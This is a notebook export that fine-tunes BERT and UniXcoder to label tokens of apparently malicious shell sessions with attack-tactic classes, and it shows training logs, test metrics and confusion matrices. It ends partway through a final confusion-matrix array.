loading weights file model.safetensors from cache at /root/.cache/huggingface/hub/models--google-bert--bert-base-uncased/snapshots/86b5e0934494bd15c9632b12f734a8a67f723594/model.safetensors A pretrained model of type `BertForTokenClassification` contains parameters that have been renamed internally (a few are listed below but more are present in the model): * `cls.predictions.transform.LayerNorm.beta` -> `cls.predictions.transform.LayerNorm.bias` * `cls.predictions.transform.LayerNorm.gamma` -> `cls.predictions.transform.LayerNorm.weight` If you are using a model from the Hub, consider submitting a PR to adjust these weights and help future users. Some weights of the model checkpoint at google-bert/bert-base-uncased were not used when initializing BertForTokenClassification: ['bert.pooler.dense.bias', 'bert.pooler.dense.weight', 'cls.predictions.bias', 'cls.predictions.transform.LayerNorm.bias', 'cls.predictions.transform.LayerNorm.weight', 'cls.predictions.transform.dense.bias', 'cls.predictions.transform.dense.weight', 'cls.seq_relationship.bias', 'cls.seq_relationship.weight'] - This IS expected if you are initializing BertForTokenClassification from the checkpoint of a model trained on another task or with another architecture (e.g. initializing a BertForSequenceClassification model from a BertForPreTraining model). - This IS NOT expected if you are initializing BertForTokenClassification from the checkpoint of a model that you expect to be exactly identical (initializing a BertForSequenceClassification model from a BertForSequenceClassification model). Some weights of BertForTokenClassification were not initialized from the model checkpoint at google-bert/bert-base-uncased and are newly initialized: ['classifier.bias', 'classifier.weight'] You should probably TRAIN this model on a down-stream task to be able to use it for predictions and inference.
loading configuration file config.json from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/config.json
Model config RobertaConfig {
"architectures": [
"RobertaModel"
],
"attention_probs_dropout_prob": 0.1,
"bos_token_id": 0,
"classifier_dropout": null,
"eos_token_id": 2,
"gradient_checkpointing": false,
"hidden_act": "gelu",
"hidden_dropout_prob": 0.1,
"hidden_size": 768,
"id2label": {
"0": "Execution",
"1": "Discovery",
"2": "Persistence",
"3": "Defense Evasion",
"4": "Not Malicious Yet",
"5": "Other",
"6": "Impact"
},
"initializer_range": 0.02,
"intermediate_size": 3072,
"label2id": {
"Defense Evasion": 3,
"Discovery": 1,
"Execution": 0,
"Impact": 6,
"Not Malicious Yet": 4,
"Other": 5,
"Persistence": 2
},
"layer_norm_eps": 1e-05,
"max_position_embeddings": 1026,
"model_type": "roberta",
"num_attention_heads": 12,
"num_hidden_layers": 12,
"output_past": true,
"pad_token_id": 1,
"position_embedding_type": "absolute",
"torch_dtype": "float32",
"transformers_version": "4.55.2",
"type_vocab_size": 10,
"use_cache": true,
"vocab_size": 51416
}
loading weights file pytorch_model.bin from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/pytorch_model.bin Attempting to create safetensors variant Some weights of the model checkpoint at microsoft/unixcoder-base were not used when initializing RobertaForTokenClassification: ['roberta.pooler.dense.bias', 'roberta.pooler.dense.weight'] - This IS expected if you are initializing RobertaForTokenClassification from the checkpoint of a model trained on another task or with another architecture (e.g. initializing a BertForSequenceClassification model from a BertForPreTraining model). - This IS NOT expected if you are initializing RobertaForTokenClassification from the checkpoint of a model that you expect to be exactly identical (initializing a BertForSequenceClassification model from a BertForSequenceClassification model). Some weights of RobertaForTokenClassification were not initialized from the model checkpoint at microsoft/unixcoder-base and are newly initialized: ['classifier.bias', 'classifier.weight'] You should probably TRAIN this model on a down-stream task to be able to use it for predictions and inference.
LR = 2e-5
N_TRAIN_EPOCHS = 30
# Define optimizer
bert_optimizer = AdamW(bert_model.parameters(), lr=LR)
unix_optimizer = AdamW(unix_model.parameters(), lr=LR)
# FOR BERT
bert_num_update_steps_per_epoch = len(bert_train_dataloader)
# Total number of training steps: number_batches_x_epoch x number of epochs!
num_training_steps_bert = N_TRAIN_EPOCHS * bert_num_update_steps_per_epoch
bert_lr_scheduler = get_scheduler(
"linear",
optimizer=bert_optimizer,
num_warmup_steps=0,
num_training_steps=num_training_steps_bert,
)
#FOR UNIX
unix_num_update_steps_per_epoch = len(unix_train_dataloader)
# Total number of training steps: number_batches_x_epoch x number of epochs!
num_training_steps_unix = N_TRAIN_EPOCHS * unix_num_update_steps_per_epoch
unix_lr_scheduler = get_scheduler(
"linear",
optimizer=unix_optimizer,
num_warmup_steps=0,
num_training_steps=num_training_steps_unix,
)
#usefull functions
def postprocess(predictions, labels):
predictions = predictions.detach().cpu().clone().numpy()
labels = labels.detach().cpu().clone().numpy()
# Remove ignored index (special tokens) and convert to labels
true_labels = [[id2label[l] for l in label if l != -100] for label in labels]
true_predictions = [
[id2label[p] for (p, l) in zip(prediction, label) if l != -100]
for prediction, label in zip(predictions, labels)
]
return true_predictions, true_labels
def compute_metrics(full_predictions, full_labels):
# Token-level metrics
# Flatten predictions and labels > create a single, long list
flat_predictions = list(chain(*full_predictions))
flat_labels = list(chain(*full_labels))
# Calculate standard classification metrics
token_accuracy = accuracy_score(flat_labels, flat_predictions)
token_precision = precision_score(flat_labels, flat_predictions, average='macro', zero_division=0)
token_recall = recall_score(flat_labels, flat_predictions, average='macro', zero_division=0)
token_f1 = f1_score(flat_labels, flat_predictions, average='macro', zero_division=0)
# Return all metrics in a dictionary
metrics = {
"token_accuracy": token_accuracy,
"token_precision": token_precision,
"token_recall": token_recall,
"token_f1": token_f1,
}
return metrics
# PLOT F1 FOR CLASS
def plot_per_class_f1(full_predictions, full_labels):
flat_predictions = list(chain(*full_predictions))
flat_labels = list(chain(*full_labels))
report = classification_report(flat_labels, flat_predictions, labels=list(id2label.values()), output_dict=True, zero_division=0)
labels_list = list(id2label.values())
f1_scores = [report[label]['f1-score'] for label in labels_list]
# Plot barplot
plt.figure(figsize=(10, 5))
sns.barplot(x=labels_list, y=f1_scores, palette="Blues_d")
plt.ylabel('F1-score')
plt.xlabel('Label')
plt.title('Per-class F1-score')
plt.xticks(rotation=45)
plt.tight_layout()
plt.show()
def compute_session_fidelity(full_predictions, full_labels):
#print("\nFULL PREDICTIONS: ",len(full_predictions))
#print("\nFULL LABELS: ")
#print(full_labels)
session_scores = []
print("\nStart to compute the session fidelity: \n")
for pred_session, label_session in zip(full_predictions, full_labels):
correct = sum([p == l for p, l in zip(pred_session, label_session)])
total = len(label_session)
fidelity = correct / total if total > 0 else 0
session_scores.append(fidelity)
avg_fidelity = np.mean(session_scores)
return avg_fidelity, session_scores
best_val_loss, best_epoch = np.inf, 0
best_model_bert = deepcopy(bert_model)
device = 'cuda' if cuda.is_available() else 'cpu'
bert_model = bert_model.to(device)
print(bert_model.device)
Safetensors PR exists
cuda:0
# TRAINING LOOP BERT
progress_bar = tqdm(range(num_training_steps_bert))
val_losses, train_losses = [], [] # Lists to keep track of the training and validation losses
#training
for epoch in range(N_TRAIN_EPOCHS):
# Training
bert_model.train()
train_loss = 0
for batch in bert_train_dataloader:
batch = {key:value.to(device) for key, value in batch.items()}
# Model expects:
# - input_ids > i.e., which tokens we must map into the embeddings
# - attention_mask > who shall each token pays attention to
# - labels > the NER tags
outputs = bert_model(input_ids=batch["input_ids"],
attention_mask=batch["attention_mask"],
labels=batch["labels"]
)
# Notice: the model already comes with a CrossEntropy loss
# - if `labels` are defined, a loss is also computed
loss = outputs.loss
train_loss += loss.detach().cpu().clone().numpy()
loss.backward()
bert_optimizer.step()
bert_lr_scheduler.step()
bert_optimizer.zero_grad()
progress_bar.update(1)
train_losses.append(train_loss/len(bert_train_dataloader))
# Evaluation
bert_model.eval()
full_predictions, full_labels = [], []
val_loss = 0
for batch in bert_eval_dataloader:
batch = {key:value.to(device) for key, value in batch.items()}
with torch.no_grad():
outputs = bert_model(**batch)
val_loss += outputs.loss.detach().cpu().clone().numpy()
# Extract the predictions
predictions = outputs.logits.argmax(dim=-1)
labels = batch["labels"]
true_predictions, true_labels = postprocess(predictions, labels)
full_predictions+=true_predictions
full_labels+=true_labels
val_loss = val_loss/len(bert_eval_dataloader)
val_losses.append(val_loss)
metrics = compute_metrics(full_predictions, full_labels)
print(
f"epoch {epoch}:",
{
key: metrics[key]
for key in ["token_accuracy", "token_f1"]
},
)
if val_loss <= best_val_loss:
best_epoch = epoch
best_val_loss = val_loss
best_model_bert = deepcopy(bert_model)
# plot stats
def plot_stats(title, training_losses, validation_losses=None, best_epoch=None):
# Set style for better-looking plots
plt.style.use('seaborn-v0_8-paper')
# Define a common color scheme
colors = {
'training': '#2E86C1', # Deep blue
'validation': '#27AE60',
'best_epoch': '#E74C3C', # Red
}
if validation_losses is not None:
# Create a figure with 2 subplots
fig, ((ax1, ax2)) = plt.subplots(1, 2, figsize=(5,3))
else:
fig, ax1 = plt.subplots(1, figsize=(5,4))
# Plot data with enhanced styling
ax1.plot(training_losses, color=colors['training'], linewidth=2)
ax1.set_title('Training Loss', fontsize=12, pad=10)
ax1.set_ylabel('Loss', fontsize=10)
ax1.set_xlabel('Training Steps', fontsize=10)
if validation_losses is not None:
ax1.axvline(x=best_epoch, color=colors['best_epoch'], linestyle='--', alpha=0.8, label='Best Epoch')
ax2.plot(validation_losses, color=colors['validation'], linewidth=2)
ax2.axvline(x=best_epoch, color=colors['best_epoch'], linestyle='--', alpha=0.8, label='Best Epoch')
ax2.set_title('Validation Loss', fontsize=12, pad=10)
ax2.set_ylabel('Loss', fontsize=10)
ax2.set_xlabel('Training Steps', fontsize=10)
axs = [ax1, ax2]
else:
axs = [ax1]
# Add grid to all subplots with better styling
for ax in axs:
ax.grid(True, linestyle='--', alpha=0.7)
ax.spines['top'].set_visible(False)
ax.spines['right'].set_visible(False)
if len(axs)>1:
ax.legend(fontsize=8)
# Add a main title
fig.suptitle(f'{title} - Training Losses', fontsize=14, y=1.02)
# Adjust the layout
plt.tight_layout()
# Display the plot
plt.show()
plot_stats("BERT", train_losses,
validation_losses=val_losses, best_epoch=best_epoch)
epoch 0: {'token_accuracy': 0.638961038961039, 'token_f1': 0.2630975185846337}
epoch 1: {'token_accuracy': 0.7302697302697303, 'token_f1': 0.32699087839663227}
epoch 2: {'token_accuracy': 0.766033966033966, 'token_f1': 0.3560304311580228}
epoch 3: {'token_accuracy': 0.7918081918081918, 'token_f1': 0.3723943555571602}
epoch 4: {'token_accuracy': 0.8051948051948052, 'token_f1': 0.40256195695226743}
epoch 5: {'token_accuracy': 0.8045954045954046, 'token_f1': 0.4278368453465849}
epoch 6: {'token_accuracy': 0.8233766233766234, 'token_f1': 0.4784947322636602}
epoch 7: {'token_accuracy': 0.8313686313686314, 'token_f1': 0.4954950372130705}
epoch 8: {'token_accuracy': 0.824975024975025, 'token_f1': 0.5334774842911056}
epoch 9: {'token_accuracy': 0.8283716283716284, 'token_f1': 0.537249163844637}
epoch 10: {'token_accuracy': 0.8127872127872128, 'token_f1': 0.5462344563549665}
epoch 11: {'token_accuracy': 0.8545454545454545, 'token_f1': 0.5563326306726284}
epoch 12: {'token_accuracy': 0.826973026973027, 'token_f1': 0.5539299169033984}
epoch 13: {'token_accuracy': 0.8371628371628371, 'token_f1': 0.5618943910541871}
epoch 14: {'token_accuracy': 0.8475524475524475, 'token_f1': 0.5595827905218974}
epoch 15: {'token_accuracy': 0.8373626373626374, 'token_f1': 0.568672403810545}
epoch 16: {'token_accuracy': 0.8521478521478522, 'token_f1': 0.5748698395871292}
epoch 17: {'token_accuracy': 0.8343656343656344, 'token_f1': 0.5718334489782546}
epoch 18: {'token_accuracy': 0.8563436563436564, 'token_f1': 0.5808367436344576}
epoch 19: {'token_accuracy': 0.858941058941059, 'token_f1': 0.5946459362182619}
epoch 20: {'token_accuracy': 0.8645354645354645, 'token_f1': 0.5984581527762692}
epoch 21: {'token_accuracy': 0.8587412587412587, 'token_f1': 0.5943114140111371}
epoch 22: {'token_accuracy': 0.8583416583416583, 'token_f1': 0.5925526815838855}
epoch 23: {'token_accuracy': 0.8571428571428571, 'token_f1': 0.5959171611396954}
epoch 24: {'token_accuracy': 0.8635364635364635, 'token_f1': 0.5971345979201522}
epoch 25: {'token_accuracy': 0.8647352647352647, 'token_f1': 0.6008936906708625}
epoch 26: {'token_accuracy': 0.8619380619380619, 'token_f1': 0.6007922190860475}
epoch 27: {'token_accuracy': 0.8645354645354645, 'token_f1': 0.5878499619335976}
epoch 28: {'token_accuracy': 0.8661338661338661, 'token_f1': 0.5940559728366368}
epoch 29: {'token_accuracy': 0.8657342657342657, 'token_f1': 0.593958227396376}
# Evaluation
bert_model.eval()
full_predictions, full_labels = [], []
for batch in bert_test_dataloader:
batch = {key:value.to(device) for key, value in batch.items()}
with torch.no_grad():
# Another way to pass the items to the model
outputs = best_model_bert(**batch)
# Extract the predictions
predictions = outputs.logits.argmax(dim=-1)
labels = batch["labels"]
true_predictions, true_labels = postprocess(predictions, labels)
full_predictions+=true_predictions
full_labels+=true_labels
test_metrics = compute_metrics(full_predictions, full_labels)
plot_per_class_f1(full_predictions, full_labels)
for key in ["token_accuracy", "token_f1", "token_precision", "token_recall"]:
print(f"{key:<20}: {test_metrics[key]*100:6.2f}%")
avg_fidelity, session_scores = compute_session_fidelity(full_predictions, full_labels)
print(f"\nAverage Session Fidelity: {avg_fidelity:.2%}")
plt.figure(figsize=(8,4))
plt.plot(session_scores, marker='o')
plt.title("Session-wise Fidelity Scores")
plt.xlabel("Session Index")
plt.ylabel("Fidelity")
plt.grid(True)
plt.tight_layout()
plt.show()
def compute_confusion_matrix(full_predictions, full_labels, normalize=False):
# Token-level metrics
# Flatten predictions and labels into a single list
flat_predictions = list(chain(*full_predictions))
flat_labels = list(chain(*full_labels))
# Compute the confusion matrix
cm = confusion_matrix(flat_labels, flat_predictions, labels=list(id2label.values()))
if normalize:
cm = cm.astype('float') / cm.sum(axis=1, keepdims=True)
fmt = '.2f'
else:
fmt = 'd'
# Plot confusion matrix
plt.figure(figsize=(8, 6))
sns.heatmap(cm, annot=True, fmt=fmt, cmap='Blues',
xticklabels=list(id2label.values()),
yticklabels=list(id2label.values()))
plt.ylabel('True label')
plt.xlabel('Predicted label')
plt.title('Normalized Confusion Matrix' if normalize else 'Confusion Matrix')
plt.xticks(rotation=45, ha='right')
plt.yticks(rotation=0)
plt.tight_layout()
plt.show()
return cm
compute_confusion_matrix(full_predictions, full_labels, normalize=False)
compute_confusion_matrix(full_predictions, full_labels, normalize=True)
/tmp/ipython-input-2673136637.py:46: FutureWarning: Passing `palette` without assigning `hue` is deprecated and will be removed in v0.14.0. Assign the `x` variable to `hue` and set `legend=False` for the same effect. sns.barplot(x=labels_list, y=f1_scores, palette="Blues_d")
token_accuracy : 82.98% token_f1 : 55.85% token_precision : 81.43% token_recall : 50.23% Start to compute the session fidelity: Average Session Fidelity: 80.10%
array([[8.20986313e-01, 1.72061699e-01, 0.00000000e+00, 0.00000000e+00,
6.95198783e-03, 0.00000000e+00, 0.00000000e+00],
[3.18237454e-02, 9.58112335e-01, 1.76798586e-03, 1.35998912e-04,
4.07996736e-03, 4.07996736e-03, 0.00000000e+00],
[6.08766234e-03, 7.67045455e-02, 9.15584416e-01, 0.00000000e+00,
0.00000000e+00, 1.21753247e-03, 4.05844156e-04],
[6.59340659e-01, 1.53846154e-01, 0.00000000e+00, 1.84065934e-01,
2.74725275e-03, 0.00000000e+00, 0.00000000e+00],
[5.26915114e-01, 1.68737060e-01, 7.24637681e-03, 0.00000000e+00,
2.96066253e-01, 0.00000000e+00, 1.03519669e-03],
[1.48760331e-01, 5.78512397e-01, 0.00000000e+00, 0.00000000e+00,
1.44628099e-01, 1.28099174e-01, 0.00000000e+00],
[2.07006369e-01, 4.36305732e-01, 0.00000000e+00, 0.00000000e+00,
1.43312102e-01, 0.00000000e+00, 2.13375796e-01]])
# NAKED BERT
# First, get the configuration of the model
config = AutoConfig.from_pretrained(
pretrained_model_name_or_path=model1,
id2label=id2label, # Notice that we are also providing the mapping from ids to labels
label2id=label2id, # And viceversa
)
# Then initialize the model with random weights using the configuration
bert_model_naked = AutoModelForTokenClassification.from_config(config)
best_val_loss, best_epoch = np.inf, 0
best_model_bert_naked = deepcopy(bert_model_naked)
device = 'cuda' if cuda.is_available() else 'cpu'
bert_model_naked = bert_model_naked.to(device)
print(bert_model_naked.device)
loading configuration file config.json from cache at /root/.cache/huggingface/hub/models--google-bert--bert-base-uncased/snapshots/86b5e0934494bd15c9632b12f734a8a67f723594/config.json
Model config BertConfig {
"architectures": [
"BertForMaskedLM"
],
"attention_probs_dropout_prob": 0.1,
"classifier_dropout": null,
"gradient_checkpointing": false,
"hidden_act": "gelu",
"hidden_dropout_prob": 0.1,
"hidden_size": 768,
"id2label": {
"0": "Execution",
"1": "Discovery",
"2": "Persistence",
"3": "Defense Evasion",
"4": "Not Malicious Yet",
"5": "Other",
"6": "Impact"
},
"initializer_range": 0.02,
"intermediate_size": 3072,
"label2id": {
"Defense Evasion": 3,
"Discovery": 1,
"Execution": 0,
"Impact": 6,
"Not Malicious Yet": 4,
"Other": 5,
"Persistence": 2
},
"layer_norm_eps": 1e-12,
"max_position_embeddings": 512,
"model_type": "bert",
"num_attention_heads": 12,
"num_hidden_layers": 12,
"pad_token_id": 0,
"position_embedding_type": "absolute",
"transformers_version": "4.55.1",
"type_vocab_size": 2,
"use_cache": true,
"vocab_size": 30522
}
cuda:0
# TRAINING LOOP BERT NAKED
progress_bar = tqdm(range(num_training_steps_bert))
val_losses, train_losses = [], [] # Lists to keep track of the training and validation losses
bert_optimizer = AdamW(bert_model_naked.parameters(), lr=LR)
bert_lr_scheduler = get_scheduler(
"linear",
optimizer=bert_optimizer,
num_warmup_steps=0,
num_training_steps=num_training_steps_bert,
)
#training
for epoch in range(N_TRAIN_EPOCHS):
# Training
bert_model_naked.train()
train_loss = 0
for batch in bert_train_dataloader:
batch = {key:value.to(device) for key, value in batch.items()}
# Model expects:
# - input_ids > i.e., which tokens we must map into the embeddings
# - attention_mask > who shall each token pays attention to
# - labels > the NER tags
outputs = bert_model_naked(input_ids=batch["input_ids"],
attention_mask=batch["attention_mask"],
labels=batch["labels"]
)
# Notice: the model already comes with a CrossEntropy loss
# - if `labels` are defined, a loss is also computed
loss = outputs.loss
train_loss += loss.detach().cpu().clone().numpy()
loss.backward()
bert_optimizer.step()
bert_lr_scheduler.step()
bert_optimizer.zero_grad()
progress_bar.update(1)
train_losses.append(train_loss/len(bert_train_dataloader))
# Evaluation
bert_model_naked.eval()
full_predictions, full_labels = [], []
val_loss = 0
for batch in bert_eval_dataloader:
batch = {key:value.to(device) for key, value in batch.items()}
with torch.no_grad():
outputs = bert_model_naked(**batch)
val_loss += outputs.loss.detach().cpu().clone().numpy()
# Extract the predictions
predictions = outputs.logits.argmax(dim=-1)
labels = batch["labels"]
true_predictions, true_labels = postprocess(predictions, labels)
full_predictions+=true_predictions
full_labels+=true_labels
val_loss = val_loss/len(bert_eval_dataloader)
val_losses.append(val_loss)
metrics = compute_metrics(full_predictions, full_labels)
print(
f"epoch {epoch}:",
{
key: metrics[key]
for key in ["token_accuracy", "token_f1"]
},
)
if val_loss <= best_val_loss:
best_epoch = epoch
best_val_loss = val_loss
best_model_bert_naked = deepcopy(bert_model_naked)
plot_stats("BERT NAKED", train_losses,
validation_losses=val_losses, best_epoch=best_epoch)
epoch 0: {'token_accuracy': 0.44015984015984017, 'token_f1': 0.1101848806762954}
epoch 1: {'token_accuracy': 0.6527472527472528, 'token_f1': 0.2509679179814953}
epoch 2: {'token_accuracy': 0.6653346653346653, 'token_f1': 0.257902359967398}
epoch 3: {'token_accuracy': 0.6751248751248752, 'token_f1': 0.27960706812234926}
epoch 4: {'token_accuracy': 0.6859140859140859, 'token_f1': 0.31720028198441536}
epoch 5: {'token_accuracy': 0.7092907092907093, 'token_f1': 0.3627266565212378}
epoch 6: {'token_accuracy': 0.7346653346653347, 'token_f1': 0.4411415112137509}
epoch 7: {'token_accuracy': 0.7576423576423577, 'token_f1': 0.4523407328122504}
epoch 8: {'token_accuracy': 0.757042957042957, 'token_f1': 0.44677036555391}
epoch 9: {'token_accuracy': 0.7448551448551448, 'token_f1': 0.457914406502787}
epoch 10: {'token_accuracy': 0.7482517482517482, 'token_f1': 0.46402879463289665}
epoch 11: {'token_accuracy': 0.7712287712287712, 'token_f1': 0.45957611463151593}
epoch 12: {'token_accuracy': 0.7698301698301698, 'token_f1': 0.4710354768187077}
epoch 13: {'token_accuracy': 0.7672327672327672, 'token_f1': 0.45827917424511444}
epoch 14: {'token_accuracy': 0.77002997002997, 'token_f1': 0.48554006348641426}
epoch 15: {'token_accuracy': 0.7778221778221778, 'token_f1': 0.4582760062482541}
epoch 16: {'token_accuracy': 0.779020979020979, 'token_f1': 0.49360204631295407}
epoch 17: {'token_accuracy': 0.7852147852147852, 'token_f1': 0.480994761977073}
epoch 18: {'token_accuracy': 0.7876123876123876, 'token_f1': 0.4982519404201547}
epoch 19: {'token_accuracy': 0.785014985014985, 'token_f1': 0.49149115800727733}
epoch 20: {'token_accuracy': 0.7898101898101898, 'token_f1': 0.49337739881505216}
epoch 21: {'token_accuracy': 0.793006993006993, 'token_f1': 0.4982850256132921}
epoch 22: {'token_accuracy': 0.7848151848151849, 'token_f1': 0.4994918711319865}
epoch 23: {'token_accuracy': 0.7838161838161838, 'token_f1': 0.4887417856857734}
epoch 24: {'token_accuracy': 0.7902097902097902, 'token_f1': 0.5052353905623226}
epoch 25: {'token_accuracy': 0.7908091908091908, 'token_f1': 0.48848623131595625}
epoch 26: {'token_accuracy': 0.791008991008991, 'token_f1': 0.49572390776517306}
epoch 27: {'token_accuracy': 0.7906093906093906, 'token_f1': 0.4990518651767724}
epoch 28: {'token_accuracy': 0.7906093906093906, 'token_f1': 0.49498815868650115}
epoch 29: {'token_accuracy': 0.7918081918081918, 'token_f1': 0.49762203700969115}
# Evaluation
bert_model_naked.eval()
full_predictions, full_labels = [], []
for batch in bert_test_dataloader:
batch = {key:value.to(device) for key, value in batch.items()}
with torch.no_grad():
# Another way to pass the items to the model
outputs = best_model_bert_naked(**batch)
# Extract the predictions
predictions = outputs.logits.argmax(dim=-1)
labels = batch["labels"]
true_predictions, true_labels = postprocess(predictions, labels)
full_predictions+=true_predictions
full_labels+=true_labels
test_metrics = compute_metrics(full_predictions, full_labels)
plot_per_class_f1(full_predictions, full_labels)
for key in ["token_accuracy", "token_f1", "token_precision", "token_recall"]:
print(f"{key:<20}: {test_metrics[key]*100:6.2f}%")
compute_confusion_matrix(full_predictions, full_labels, normalize=False)
compute_confusion_matrix(full_predictions, full_labels, normalize=True)
/tmp/ipython-input-2673136637.py:46: FutureWarning: Passing `palette` without assigning `hue` is deprecated and will be removed in v0.14.0. Assign the `x` variable to `hue` and set `legend=False` for the same effect. sns.barplot(x=labels_list, y=f1_scores, palette="Blues_d")
token_accuracy : 75.36% token_f1 : 49.21% token_precision : 57.68% token_recall : 46.97%
array([[7.63632414e-01, 1.15359548e-01, 4.30154247e-02, 2.60699544e-03,
6.84336302e-02, 4.77949164e-03, 2.17249620e-03],
[4.89596083e-02, 8.68353053e-01, 4.54236366e-02, 1.63198694e-03,
2.47518020e-02, 9.65592275e-03, 1.22399021e-03],
[2.84090909e-02, 2.10227273e-01, 7.55681818e-01, 4.05844156e-04,
0.00000000e+00, 0.00000000e+00, 5.27597403e-03],
[7.25274725e-01, 1.51098901e-01, 2.19780220e-02, 7.14285714e-02,
1.64835165e-02, 1.37362637e-02, 0.00000000e+00],
[5.13457557e-01, 3.93374741e-02, 1.34575569e-02, 7.24637681e-03,
3.96480331e-01, 1.55279503e-02, 1.44927536e-02],
[1.61157025e-01, 5.20661157e-01, 4.13223140e-02, 0.00000000e+00,
2.89256198e-02, 2.47933884e-01, 0.00000000e+00],
[6.21019108e-01, 1.17834395e-01, 5.41401274e-02, 2.22929936e-02,
0.00000000e+00, 0.00000000e+00, 1.84713376e-01]])
best_val_loss, best_epoch = np.inf, 0
best_model_unix = deepcopy(unix_model)
device = 'cuda' if cuda.is_available() else 'cpu'
unix_model = unix_model.to(device)
print(unix_model.device)
progress_bar = tqdm(range(num_training_steps_unix))
val_losses, train_losses = [], [] # Lists to keep track of the training and validation losses
cuda:0
#training
for epoch in range(N_TRAIN_EPOCHS):
# Training
unix_model.train()
train_loss = 0
for batch in unix_train_dataloader:
batch = {key:value.to(device) for key, value in batch.items()}
# Model expects:
# - input_ids > i.e., which tokens we must map into the embeddings
# - attention_mask > who shall each token pays attention to
# - labels > the NER tags
# NORMAL
outputs = unix_model(input_ids=batch["input_ids"],
attention_mask=batch["attention_mask"],
labels=batch["labels"]
)
# Notice: the model already comes with a CrossEntropy loss
# - if `labels` are defined, a loss is also computed
loss = outputs.loss
# WITH CLASS BALANCE
#outputs = unix_model(input_ids=batch["input_ids"],
# attention_mask=batch["attention_mask"],
# labels = batch["labels"]
# )
#labels = batch["labels"]
#logits = outputs.logits
#logits = logits.view(-1, logits.shape[-1])
#labels = labels.view(-1)
#loss = loss_fn(logits, labels)
train_loss += loss.detach().cpu().clone().numpy()
loss.backward()
unix_optimizer.step()
unix_lr_scheduler.step()
unix_optimizer.zero_grad()
progress_bar.update(1)
train_losses.append(train_loss/len(unix_train_dataloader))
# Evaluation
unix_model.eval()
full_predictions, full_labels = [], []
val_loss = 0
for batch in unix_eval_dataloader:
batch = {key:value.to(device) for key, value in batch.items()}
with torch.no_grad():
outputs = unix_model(**batch)
val_loss += outputs.loss.detach().cpu().clone().numpy()
# Extract the predictions
predictions = outputs.logits.argmax(dim=-1)
labels = batch["labels"]
true_predictions, true_labels = postprocess(predictions, labels)
full_predictions+=true_predictions
full_labels+=true_labels
val_loss = val_loss/len(unix_eval_dataloader)
val_losses.append(val_loss)
metrics = compute_metrics(full_predictions, full_labels)
print(
f"epoch {epoch}:",
{
key: metrics[key]
for key in ["token_accuracy", "token_f1"]
},
)
if val_loss <= best_val_loss:
best_epoch = epoch
best_val_loss = val_loss
best_model_unix = deepcopy(unix_model)
#plot stats
plot_stats("UNIX", train_losses,
validation_losses=val_losses, best_epoch=best_epoch)
epoch 0: {'token_accuracy': 0.6779972439136426, 'token_f1': 0.2648855703328867}
epoch 1: {'token_accuracy': 0.7466697289848415, 'token_f1': 0.37540346791787066}
epoch 2: {'token_accuracy': 0.7873220027560863, 'token_f1': 0.4324073215771499}
epoch 3: {'token_accuracy': 0.815112540192926, 'token_f1': 0.46817450802430016}
epoch 4: {'token_accuracy': 0.8305006890215894, 'token_f1': 0.5382201956706429}
epoch 5: {'token_accuracy': 0.8392282958199357, 'token_f1': 0.5263936785287682}
epoch 6: {'token_accuracy': 0.8355535140101057, 'token_f1': 0.5496843060791873}
epoch 7: {'token_accuracy': 0.8431327514928801, 'token_f1': 0.5794586025479875}
epoch 8: {'token_accuracy': 0.8576022048690859, 'token_f1': 0.6186951279210485}
epoch 9: {'token_accuracy': 0.8615066605420303, 'token_f1': 0.6251459807644967}
epoch 10: {'token_accuracy': 0.8633440514469454, 'token_f1': 0.6229119485069458}
epoch 11: {'token_accuracy': 0.8640330730362885, 'token_f1': 0.6369047182953255}
epoch 12: {'token_accuracy': 0.8633440514469454, 'token_f1': 0.6006020962812074}
epoch 13: {'token_accuracy': 0.8725310059715204, 'token_f1': 0.6553106607863718}
epoch 14: {'token_accuracy': 0.8470372071658245, 'token_f1': 0.5854177626705225}
epoch 15: {'token_accuracy': 0.868626550298576, 'token_f1': 0.6649053557937317}
epoch 16: {'token_accuracy': 0.8638033991731741, 'token_f1': 0.6423772380551119}
epoch 17: {'token_accuracy': 0.8718419843821773, 'token_f1': 0.6403279355910375}
epoch 18: {'token_accuracy': 0.871612310519063, 'token_f1': 0.6512087745575068}
epoch 19: {'token_accuracy': 0.870463941203491, 'token_f1': 0.6681093584458547}
epoch 20: {'token_accuracy': 0.8688562241616904, 'token_f1': 0.6437975378516433}
epoch 21: {'token_accuracy': 0.8688562241616904, 'token_f1': 0.6567110466297346}
epoch 22: {'token_accuracy': 0.8695452457510335, 'token_f1': 0.6549663881165494}
epoch 23: {'token_accuracy': 0.8700045934772623, 'token_f1': 0.6511850937437285}
epoch 24: {'token_accuracy': 0.870463941203491, 'token_f1': 0.6518884564822237}
epoch 25: {'token_accuracy': 0.8690858980248047, 'token_f1': 0.6407995949291168}
epoch 26: {'token_accuracy': 0.8679375287092329, 'token_f1': 0.646877317550546}
epoch 27: {'token_accuracy': 0.8679375287092329, 'token_f1': 0.6474000637007441}
epoch 28: {'token_accuracy': 0.8683968764354616, 'token_f1': 0.639284448772648}
epoch 29: {'token_accuracy': 0.8690858980248047, 'token_f1': 0.6399725410435408}
# Evaluation
unix_model.eval()
full_predictions, full_labels = [], []
for batch in unix_test_dataloader:
batch = {key:value.to(device) for key, value in batch.items()}
with torch.no_grad():
# Another way to pass the items to the model
outputs = best_model_unix(**batch)
# Extract the predictions
predictions = outputs.logits.argmax(dim=-1)
labels = batch["labels"]
true_predictions, true_labels = postprocess(predictions, labels)
full_predictions+=true_predictions
full_labels+=true_labels
test_metrics = compute_metrics(full_predictions, full_labels)
for key in ["token_accuracy", "token_f1", "token_precision", "token_recall"]:
print(f"{key:<20}: {test_metrics[key]*100:6.2f}%")
compute_confusion_matrix(full_predictions, full_labels, normalize=False)
compute_confusion_matrix(full_predictions, full_labels, normalize=True)
token_accuracy : 88.37% token_f1 : 73.72% token_precision : 86.84% token_recall : 69.00%
array([[8.63190624e-01, 1.24611337e-01, 2.39177230e-04, 9.80626644e-03,
1.43506338e-03, 2.39177230e-04, 4.78354461e-04],
[1.11305454e-02, 9.68039434e-01, 7.47336619e-03, 3.81618699e-03,
8.42741294e-03, 1.11305454e-03, 0.00000000e+00],
[3.85914134e-03, 6.46406175e-02, 9.30053063e-01, 0.00000000e+00,
4.82392668e-04, 0.00000000e+00, 9.64785335e-04],
[6.18556701e-02, 3.60824742e-02, 0.00000000e+00, 8.81443299e-01,
0.00000000e+00, 2.06185567e-02, 0.00000000e+00],
